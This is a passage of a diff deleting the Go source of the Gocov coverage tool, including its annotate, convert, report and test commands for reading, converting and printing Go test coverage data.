missPrefix = "MISS"
|
||||
RED = "\x1b[31;1m"
|
||||
GREEN = "\x1b[32;1m"
|
||||
NONE = "\x1b[0m"
|
||||
)
|
||||
|
||||
var (
|
||||
annotateFlags = flag.NewFlagSet("annotate", flag.ExitOnError)
|
||||
annotateCeilingFlag = annotateFlags.Float64(
|
||||
"ceiling", 101,
|
||||
"Annotate only functions whose coverage is less than the specified percentage")
|
||||
annotateColorFlag = annotateFlags.Bool(
|
||||
"color", false,
|
||||
"Differentiate coverage with color")
|
||||
)
|
||||
|
||||
type packageList []*gocov.Package
|
||||
type functionList []*gocov.Function
|
||||
|
||||
func (l packageList) Len() int {
|
||||
return len(l)
|
||||
}
|
||||
|
||||
func (l packageList) Less(i, j int) bool {
|
||||
return l[i].Name < l[j].Name
|
||||
}
|
||||
|
||||
func (l packageList) Swap(i, j int) {
|
||||
l[i], l[j] = l[j], l[i]
|
||||
}
|
||||
|
||||
func (l functionList) Len() int {
|
||||
return len(l)
|
||||
}
|
||||
|
||||
func (l functionList) Less(i, j int) bool {
|
||||
return l[i].Name < l[j].Name
|
||||
}
|
||||
|
||||
func (l functionList) Swap(i, j int) {
|
||||
l[i], l[j] = l[j], l[i]
|
||||
}
|
||||
|
||||
type annotator struct {
|
||||
fset *token.FileSet
|
||||
files map[string]*token.File
|
||||
}
|
||||
|
||||
func percentReached(fn *gocov.Function) float64 {
|
||||
if len(fn.Statements) == 0 {
|
||||
return 0
|
||||
}
|
||||
var reached int
|
||||
for _, stmt := range fn.Statements {
|
||||
if stmt.Reached > 0 {
|
||||
reached++
|
||||
}
|
||||
}
|
||||
return float64(reached) / float64(len(fn.Statements)) * 100
|
||||
}
|
||||
|
||||
func annotateSource() (rc int) {
|
||||
annotateFlags.Parse(os.Args[2:])
|
||||
if annotateFlags.NArg() == 0 {
|
||||
fmt.Fprintf(os.Stderr, "missing coverage file\n")
|
||||
return 1
|
||||
}
|
||||
|
||||
var data []byte
|
||||
var err error
|
||||
if filename := annotateFlags.Arg(0); filename == "-" {
|
||||
data, err = ioutil.ReadAll(os.Stdin)
|
||||
} else {
|
||||
data, err = ioutil.ReadFile(filename)
|
||||
}
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to read coverage file: %s\n", err)
|
||||
return 1
|
||||
}
|
||||
|
||||
packages, err := unmarshalJson(data)
|
||||
if err != nil {
|
||||
fmt.Fprintf(
|
||||
os.Stderr, "failed to unmarshal coverage data: %s\n", err)
|
||||
return 1
|
||||
}
|
||||
|
||||
// Sort packages, functions by name.
|
||||
sort.Sort(packageList(packages))
|
||||
for _, pkg := range packages {
|
||||
sort.Sort(functionList(pkg.Functions))
|
||||
}
|
||||
|
||||
a := &annotator{}
|
||||
a.fset = token.NewFileSet()
|
||||
a.files = make(map[string]*token.File)
|
||||
|
||||
var regexps []*regexp.Regexp
|
||||
for _, arg := range annotateFlags.Args()[1:] {
|
||||
re, err := regexp.Compile(arg)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "warning: failed to compile %q as a regular expression, ignoring\n", arg)
|
||||
} else {
|
||||
regexps = append(regexps, re)
|
||||
}
|
||||
}
|
||||
if len(regexps) == 0 {
|
||||
regexps = append(regexps, regexp.MustCompile("."))
|
||||
}
|
||||
for _, pkg := range packages {
|
||||
for _, fn := range pkg.Functions {
|
||||
if percentReached(fn) >= *annotateCeilingFlag {
|
||||
continue
|
||||
}
|
||||
name := pkg.Name + "/" + fn.Name
|
||||
for _, regexp := range regexps {
|
||||
if regexp.FindStringIndex(name) != nil {
|
||||
err := a.printFunctionSource(fn)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "warning: failed to annotate function %q\n", name)
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func (a *annotator) printFunctionSource(fn *gocov.Function) error {
|
||||
// Load the file for line information. Probably overkill, maybe
|
||||
// just compute the lines from offsets in here.
|
||||
setContent := false
|
||||
file := a.files[fn.File]
|
||||
if file == nil {
|
||||
info, err := os.Stat(fn.File)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
file = a.fset.AddFile(fn.File, a.fset.Base(), int(info.Size()))
|
||||
setContent = true
|
||||
}
|
||||
|
||||
data, err := ioutil.ReadFile(fn.File)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if setContent {
|
||||
// This processes the content and records line number info.
|
||||
file.SetLinesForContent(data)
|
||||
}
|
||||
|
||||
statements := fn.Statements[:]
|
||||
lineno := file.Line(file.Pos(fn.Start))
|
||||
lines := strings.Split(string(data)[fn.Start:fn.End], "\n")
|
||||
linenoWidth := int(math.Log10(float64(lineno+len(lines)))) + 1
|
||||
fmt.Println()
|
||||
for i, line := range lines {
|
||||
// Go through statements one at a time, seeing if we've hit
|
||||
// them or not.
|
||||
//
|
||||
// The prefix approach isn't perfect, as it doesn't
|
||||
// distinguish multiple statements per line. It'll have to
|
||||
// do for now. We could do fancy ANSI colouring later.
|
||||
lineno := lineno + i
|
||||
statementFound := false
|
||||
hit := false
|
||||
for j := 0; j < len(statements); j++ {
|
||||
start := file.Line(file.Pos(statements[j].Start))
|
||||
// FIXME instrumentation no longer records statements
|
||||
// in line order, as function literals are processed
|
||||
// after the body of a function. If/when that's changed,
|
||||
// we can go back to checking just the first statement
|
||||
// in each loop.
|
||||
if start == lineno {
|
||||
statementFound = true
|
||||
if !hit && statements[j].Reached > 0 {
|
||||
hit = true
|
||||
}
|
||||
statements = append(statements[:j], statements[j+1:]...)
|
||||
}
|
||||
}
|
||||
if *annotateColorFlag {
|
||||
color := NONE
|
||||
if statementFound && !hit {
|
||||
color = RED
|
||||
}
|
||||
fmt.Printf("%s%*d \t%s%s\n", color, linenoWidth, lineno, line, NONE)
|
||||
} else {
|
||||
hitmiss := hitPrefix
|
||||
if statementFound && !hit {
|
||||
hitmiss = missPrefix
|
||||
}
|
||||
fmt.Printf("%*d %s\t%s\n", linenoWidth, lineno, hitmiss, line)
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,316 +0,0 @@
|
||||
// Copyright (c) 2013 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"go/ast"
|
||||
"go/build"
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"path/filepath"
|
||||
|
||||
"code.google.com/p/go.tools/cover"
|
||||
|
||||
"github.com/axw/gocov"
|
||||
"github.com/axw/gocov/gocovutil"
|
||||
)
|
||||
|
||||
func convertProfiles(filenames ...string) error {
|
||||
var ps gocovutil.Packages
|
||||
for i := range filenames {
|
||||
converter := converter{
|
||||
packages: make(map[string]*gocov.Package),
|
||||
}
|
||||
profiles, err := cover.ParseProfiles(filenames[i])
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for _, p := range profiles {
|
||||
if err := converter.convertProfile(p); err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
for _, pkg := range converter.packages {
|
||||
ps.AddPackage(pkg)
|
||||
}
|
||||
}
|
||||
bytes, err := marshalJson(ps)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println(string(bytes))
|
||||
return nil
|
||||
}
|
||||
|
||||
type converter struct {
|
||||
packages map[string]*gocov.Package
|
||||
}
|
||||
|
||||
// wrapper for gocov.Statement
|
||||
type statement struct {
|
||||
*gocov.Statement
|
||||
*StmtExtent
|
||||
}
|
||||
|
||||
func (c *converter) convertProfile(p *cover.Profile) error {
|
||||
file, pkgpath, err := findFile(p.FileName)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pkg := c.packages[pkgpath]
|
||||
if pkg == nil {
|
||||
pkg = &gocov.Package{Name: pkgpath}
|
||||
c.packages[pkgpath] = pkg
|
||||
}
|
||||
// Find function and statement extents; create corresponding
|
||||
// gocov.Functions and gocov.Statements, and keep a separate
|
||||
// slice of gocov.Statements so we can match them with profile
|
||||
// blocks.
|
||||
extents, err := findFuncs(file)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var stmts []statement
|
||||
for _, fe := range extents {
|
||||
f := &gocov.Function{
|
||||
Name: fe.name,
|
||||
File: file,
|
||||
Start: fe.startOffset,
|
||||
End: fe.endOffset,
|
||||
}
|
||||
for _, se := range fe.stmts {
|
||||
s := statement{
|
||||
Statement: &gocov.Statement{Start: se.startOffset, End: se.endOffset},
|
||||
StmtExtent: se,
|
||||
}
|
||||
f.Statements = append(f.Statements, s.Statement)
|
||||
stmts = append(stmts, s)
|
||||
}
|
||||
pkg.Functions = append(pkg.Functions, f)
|
||||
}
|
||||
// For each profile block in the file, find the statement(s) it
|
||||
// covers and increment the Reached field(s).
|
||||
blocks := p.Blocks
|
||||
for len(stmts) > 0 {
|
||||
s := stmts[0]
|
||||
for i, b := range blocks {
|
||||
if b.StartLine > s.endLine || (b.StartLine == s.endLine && b.StartCol >= s.endCol) {
|
||||
// Past the end of the statement
|
||||
stmts = stmts[1:]
|
||||
blocks = blocks[i:]
|
||||
break
|
||||
}
|
||||
if b.EndLine < s.startLine || (b.EndLine == s.startLine && b.EndCol <= s.startCol) {
|
||||
// Before the beginning of the statement
|
||||
continue
|
||||
}
|
||||
s.Reached += int64(b.Count)
|
||||
stmts = stmts[1:]
|
||||
break
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// findFile finds the location of the named file in GOROOT, GOPATH etc.
|
||||
func findFile(file string) (filename string, pkgpath string, err error) {
|
||||
dir, file := filepath.Split(file)
|
||||
if dir != "" {
|
||||
dir = dir[:len(dir)-1] // drop trailing '/'
|
||||
}
|
||||
pkg, err := build.Import(dir, ".", build.FindOnly)
|
||||
if err != nil {
|
||||
return "", "", fmt.Errorf("can't find %q: %v", file, err)
|
||||
}
|
||||
return filepath.Join(pkg.Dir, file), pkg.ImportPath, nil
|
||||
}
|
||||
|
||||
// findFuncs parses the file and returns a slice of FuncExtent descriptors.
|
||||
func findFuncs(name string) ([]*FuncExtent, error) {
|
||||
fset := token.NewFileSet()
|
||||
parsedFile, err := parser.ParseFile(fset, name, nil, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
visitor := &FuncVisitor{fset: fset}
|
||||
ast.Walk(visitor, parsedFile)
|
||||
return visitor.funcs, nil
|
||||
}
|
||||
|
||||
type extent struct {
|
||||
startOffset int
|
||||
startLine int
|
||||
startCol int
|
||||
endOffset int
|
||||
endLine int
|
||||
endCol int
|
||||
}
|
||||
|
||||
// FuncExtent describes a function's extent in the source by file and position.
|
||||
type FuncExtent struct {
|
||||
extent
|
||||
name string
|
||||
stmts []*StmtExtent
|
||||
}
|
||||
|
||||
// StmtExtent describes a statements's extent in the source by file and position.
|
||||
type StmtExtent extent
|
||||
|
||||
// FuncVisitor implements the visitor that builds the function position list for a file.
|
||||
type FuncVisitor struct {
|
||||
fset *token.FileSet
|
||||
funcs []*FuncExtent
|
||||
}
|
||||
|
||||
// Visit implements the ast.Visitor interface.
|
||||
func (v *FuncVisitor) Visit(node ast.Node) ast.Visitor {
|
||||
var body *ast.BlockStmt
|
||||
var name string
|
||||
switch n := node.(type) {
|
||||
case *ast.FuncLit:
|
||||
body = n.Body
|
||||
case *ast.FuncDecl:
|
||||
body = n.Body
|
||||
name = n.Name.Name
|
||||
// Function name is prepended with "T." if there is a receiver, where
|
||||
// T is the type of the receiver, dereferenced if it is a pointer.
|
||||
if n.Recv != nil {
|
||||
field := n.Recv.List[0]
|
||||
switch recv := field.Type.(type) {
|
||||
case *ast.StarExpr:
|
||||
name = recv.X.(*ast.Ident).Name + "." + name
|
||||
case *ast.Ident:
|
||||
name = recv.Name + "." + name
|
||||
}
|
||||
}
|
||||
}
|
||||
if body != nil {
|
||||
start := v.fset.Position(node.Pos())
|
||||
end := v.fset.Position(node.End())
|
||||
if name == "" {
|
||||
name = fmt.Sprintf("@%d:%d", start.Line, start.Column)
|
||||
}
|
||||
fe := &FuncExtent{
|
||||
name: name,
|
||||
extent: extent{
|
||||
startOffset: start.Offset,
|
||||
startLine: start.Line,
|
||||
startCol: start.Column,
|
||||
endOffset: end.Offset,
|
||||
endLine: end.Line,
|
||||
endCol: end.Column,
|
||||
},
|
||||
}
|
||||
v.funcs = append(v.funcs, fe)
|
||||
sv := StmtVisitor{fset: v.fset, function: fe}
|
||||
sv.VisitStmt(body)
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
type StmtVisitor struct {
|
||||
fset *token.FileSet
|
||||
function *FuncExtent
|
||||
}
|
||||
|
||||
func (v *StmtVisitor) VisitStmt(s ast.Stmt) {
|
||||
var statements *[]ast.Stmt
|
||||
switch s := s.(type) {
|
||||
case *ast.BlockStmt:
|
||||
statements = &s.List
|
||||
case *ast.CaseClause:
|
||||
statements = &s.Body
|
||||
case *ast.CommClause:
|
||||
statements = &s.Body
|
||||
case *ast.ForStmt:
|
||||
if s.Init != nil {
|
||||
v.VisitStmt(s.Init)
|
||||
}
|
||||
if s.Post != nil {
|
||||
v.VisitStmt(s.Post)
|
||||
}
|
||||
v.VisitStmt(s.Body)
|
||||
case *ast.IfStmt:
|
||||
if s.Init != nil {
|
||||
v.VisitStmt(s.Init)
|
||||
}
|
||||
v.VisitStmt(s.Body)
|
||||
if s.Else != nil {
|
||||
// Code copied from go.tools/cmd/cover, to deal with "if x {} else if y {}"
|
||||
const backupToElse = token.Pos(len("else ")) // The AST doesn't remember the else location. We can make an accurate guess.
|
||||
switch stmt := s.Else.(type) {
|
||||
case *ast.IfStmt:
|
||||
block := &ast.BlockStmt{
|
||||
Lbrace: stmt.If - backupToElse, // So the covered part looks like it starts at the "else".
|
||||
List: []ast.Stmt{stmt},
|
||||
Rbrace: stmt.End(),
|
||||
}
|
||||
s.Else = block
|
||||
case *ast.BlockStmt:
|
||||
stmt.Lbrace -= backupToElse // So the block looks like it starts at the "else".
|
||||
default:
|
||||
panic("unexpected node type in if")
|
||||
}
|
||||
v.VisitStmt(s.Else)
|
||||
}
|
||||
case *ast.LabeledStmt:
|
||||
v.VisitStmt(s.Stmt)
|
||||
case *ast.RangeStmt:
|
||||
v.VisitStmt(s.Body)
|
||||
case *ast.SelectStmt:
|
||||
v.VisitStmt(s.Body)
|
||||
case *ast.SwitchStmt:
|
||||
if s.Init != nil {
|
||||
v.VisitStmt(s.Init)
|
||||
}
|
||||
v.VisitStmt(s.Body)
|
||||
case *ast.TypeSwitchStmt:
|
||||
if s.Init != nil {
|
||||
v.VisitStmt(s.Init)
|
||||
}
|
||||
v.VisitStmt(s.Assign)
|
||||
v.VisitStmt(s.Body)
|
||||
}
|
||||
if statements == nil {
|
||||
return
|
||||
}
|
||||
for i := 0; i < len(*statements); i++ {
|
||||
s := (*statements)[i]
|
||||
switch s.(type) {
|
||||
case *ast.CaseClause, *ast.CommClause, *ast.BlockStmt:
|
||||
break
|
||||
default:
|
||||
start, end := v.fset.Position(s.Pos()), v.fset.Position(s.End())
|
||||
se := &StmtExtent{
|
||||
startOffset: start.Offset,
|
||||
startLine: start.Line,
|
||||
startCol: start.Column,
|
||||
endOffset: end.Offset,
|
||||
endLine: end.Line,
|
||||
endCol: end.Column,
|
||||
}
|
||||
v.function.stmts = append(v.function.stmts, se)
|
||||
}
|
||||
v.VisitStmt(s)
|
||||
}
|
||||
}
|
||||
@@ -1,90 +0,0 @@
|
||||
// Copyright (c) 2012 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"flag"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/axw/gocov"
|
||||
)
|
||||
|
||||
func usage() {
|
||||
fmt.Fprintf(os.Stderr, "Usage:\n\n\tgocov command [arguments]\n\n")
|
||||
fmt.Fprintf(os.Stderr, "The commands are:\n\n")
|
||||
fmt.Fprintf(os.Stderr, "\tannotate\n")
|
||||
fmt.Fprintf(os.Stderr, "\tconvert\n")
|
||||
fmt.Fprintf(os.Stderr, "\treport\n")
|
||||
fmt.Fprintf(os.Stderr, "\ttest\n")
|
||||
fmt.Fprintf(os.Stderr, "\n")
|
||||
flag.PrintDefaults()
|
||||
os.Exit(2)
|
||||
}
|
||||
|
||||
func marshalJson(packages []*gocov.Package) ([]byte, error) {
|
||||
return json.Marshal(struct{ Packages []*gocov.Package }{packages})
|
||||
}
|
||||
|
||||
func unmarshalJson(data []byte) (packages []*gocov.Package, err error) {
|
||||
result := &struct{ Packages []*gocov.Package }{}
|
||||
err = json.Unmarshal(data, result)
|
||||
if err == nil {
|
||||
packages = result.Packages
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func main() {
|
||||
flag.Usage = usage
|
||||
flag.Parse()
|
||||
|
||||
command := ""
|
||||
if flag.NArg() > 0 {
|
||||
command = flag.Arg(0)
|
||||
switch command {
|
||||
case "convert":
|
||||
if flag.NArg() <= 1 {
|
||||
fmt.Fprintln(os.Stderr, "missing cover profile")
|
||||
os.Exit(1)
|
||||
}
|
||||
if err := convertProfiles(flag.Args()[1:]...); err != nil {
|
||||
fmt.Fprintln(os.Stderr, "error: %v", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
case "annotate":
|
||||
os.Exit(annotateSource())
|
||||
case "report":
|
||||
os.Exit(reportCoverage())
|
||||
case "test":
|
||||
if err := runTests(flag.Args()[1:]); err != nil {
|
||||
fmt.Fprintln(os.Stderr, "error: %v", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
default:
|
||||
fmt.Fprintf(os.Stderr, "Unknown command: %#q\n\n", command)
|
||||
usage()
|
||||
}
|
||||
} else {
|
||||
usage()
|
||||
}
|
||||
}
|
||||
@@ -1,193 +0,0 @@
|
||||
// Copyright (c) 2012 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
|
||||
"github.com/axw/gocov"
|
||||
)
|
||||
|
||||
type report struct {
|
||||
packages []*gocov.Package
|
||||
}
|
||||
|
||||
type reportFunction struct {
|
||||
*gocov.Function
|
||||
statementsReached int
|
||||
}
|
||||
|
||||
type reportFunctionList []reportFunction
|
||||
|
||||
func (l reportFunctionList) Len() int {
|
||||
return len(l)
|
||||
}
|
||||
|
||||
// TODO make sort method configurable?
|
||||
func (l reportFunctionList) Less(i, j int) bool {
|
||||
var left, right float64
|
||||
if len(l[i].Statements) > 0 {
|
||||
left = float64(l[i].statementsReached) / float64(len(l[i].Statements))
|
||||
}
|
||||
if len(l[j].Statements) > 0 {
|
||||
right = float64(l[j].statementsReached) / float64(len(l[j].Statements))
|
||||
}
|
||||
if left < right {
|
||||
return true
|
||||
}
|
||||
return left == right && len(l[i].Statements) < len(l[j].Statements)
|
||||
}
|
||||
|
||||
func (l reportFunctionList) Swap(i, j int) {
|
||||
l[i], l[j] = l[j], l[i]
|
||||
}
|
||||
|
||||
type reverse struct {
|
||||
sort.Interface
|
||||
}
|
||||
|
||||
func (r reverse) Less(i, j int) bool {
|
||||
return r.Interface.Less(j, i)
|
||||
}
|
||||
|
||||
// NewReport creates a new report.
|
||||
func newReport() (r *report) {
|
||||
r = &report{}
|
||||
return
|
||||
}
|
||||
|
||||
// AddPackage adds a package's coverage information to the report.
|
||||
func (r *report) addPackage(p *gocov.Package) {
|
||||
i := sort.Search(len(r.packages), func(i int) bool {
|
||||
return r.packages[i].Name >= p.Name
|
||||
})
|
||||
if i < len(r.packages) && r.packages[i].Name == p.Name {
|
||||
r.packages[i].Accumulate(p)
|
||||
} else {
|
||||
head := r.packages[:i]
|
||||
tail := append([]*gocov.Package{p}, r.packages[i:]...)
|
||||
r.packages = append(head, tail...)
|
||||
}
|
||||
}
|
||||
|
||||
// Clear clears the coverage information from the report.
|
||||
func (r *report) clear() {
|
||||
r.packages = nil
|
||||
}
|
||||
|
||||
// PrintReport prints a coverage report to the given writer.
|
||||
func printReport(w io.Writer, r *report) {
|
||||
w = tabwriter.NewWriter(w, 0, 8, 0, '\t', 0)
|
||||
//fmt.Fprintln(w, "Package\tFunction\tStatements\t")
|
||||
//fmt.Fprintln(w, "-------\t--------\t---------\t")
|
||||
for _, pkg := range r.packages {
|
||||
printPackage(w, pkg)
|
||||
fmt.Fprintln(w)
|
||||
}
|
||||
}
|
||||
|
||||
func printPackage(w io.Writer, pkg *gocov.Package) {
|
||||
functions := make(reportFunctionList, len(pkg.Functions))
|
||||
for i, fn := range pkg.Functions {
|
||||
reached := 0
|
||||
for _, stmt := range fn.Statements {
|
||||
if stmt.Reached > 0 {
|
||||
reached++
|
||||
}
|
||||
}
|
||||
functions[i] = reportFunction{fn, reached}
|
||||
}
|
||||
sort.Sort(reverse{functions})
|
||||
|
||||
var longestFunctionName int
|
||||
var totalStatements, totalReached int
|
||||
for _, fn := range functions {
|
||||
reached := fn.statementsReached
|
||||
totalStatements += len(fn.Statements)
|
||||
totalReached += reached
|
||||
var stmtPercent float64 = 0
|
||||
if len(fn.Statements) > 0 {
|
||||
stmtPercent = float64(reached) / float64(len(fn.Statements)) * 100
|
||||
}
|
||||
if len(fn.Name) > longestFunctionName {
|
||||
longestFunctionName = len(fn.Name)
|
||||
}
|
||||
fmt.Fprintf(w, "%s/%s\t %s\t %.2f%% (%d/%d)\n",
|
||||
pkg.Name, filepath.Base(fn.File), fn.Name, stmtPercent,
|
||||
reached, len(fn.Statements))
|
||||
}
|
||||
|
||||
var funcPercent float64
|
||||
if totalStatements > 0 {
|
||||
funcPercent = float64(totalReached) / float64(totalStatements) * 100
|
||||
}
|
||||
summaryLine := strings.Repeat("-", longestFunctionName)
|
||||
fmt.Fprintf(w, "%s\t %s\t %.2f%% (%d/%d)\n",
|
||||
pkg.Name, summaryLine, funcPercent,
|
||||
totalReached, totalStatements)
|
||||
}
|
||||
|
||||
func reportCoverage() (rc int) {
|
||||
files := make([]*os.File, 0, 1)
|
||||
if flag.NArg() > 1 {
|
||||
for _, name := range flag.Args()[1:] {
|
||||
file, err := os.Open(name)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to open file (%s): %s\n", name, err)
|
||||
} else {
|
||||
files = append(files, file)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
files = append(files, os.Stdin)
|
||||
}
|
||||
report := newReport()
|
||||
for _, file := range files {
|
||||
data, err := ioutil.ReadAll(file)
|
||||
if err != nil {
|
||||
fmt.Fprintf(os.Stderr, "failed to read coverage file: %s\n", err)
|
||||
return 1
|
||||
}
|
||||
packages, err := unmarshalJson(data)
|
||||
if err != nil {
|
||||
fmt.Fprintf(
|
||||
os.Stderr, "failed to unmarshal coverage data: %s\n", err)
|
||||
return 1
|
||||
}
|
||||
for _, pkg := range packages {
|
||||
report.addPackage(pkg)
|
||||
}
|
||||
if file != os.Stdin {
|
||||
file.Close()
|
||||
}
|
||||
}
|
||||
fmt.Println()
|
||||
printReport(os.Stdout, report)
|
||||
return 0
|
||||
}
|
||||
@@ -1,47 +0,0 @@
|
||||
// Copyright (c) 2013 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
|
||||
// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
|
||||
// IN THE SOFTWARE.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"os/exec"
|
||||
)
|
||||
|
||||
func runTests(args []string) error {
|
||||
coverprofile, err := ioutil.TempFile("", "gocov")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
coverprofile.Close()
|
||||
defer os.Remove(coverprofile.Name())
|
||||
args = append([]string{
|
||||
"test", "-coverprofile", coverprofile.Name(),
|
||||
}, args...)
|
||||
cmd := exec.Command("go", args...)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stderr
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return err
|
||||
}
|
||||
return convertProfiles(coverprofile.Name())
|
||||
}
|
||||
@@ -1,138 +0,0 @@
|
||||
// Copyright (c) 2012 The Gocov Authors.
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to
|
||||
// deal in the Software without restriction, including without limitation the
|
||||
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
|
||||
// sell copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in
|
||||
// all copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
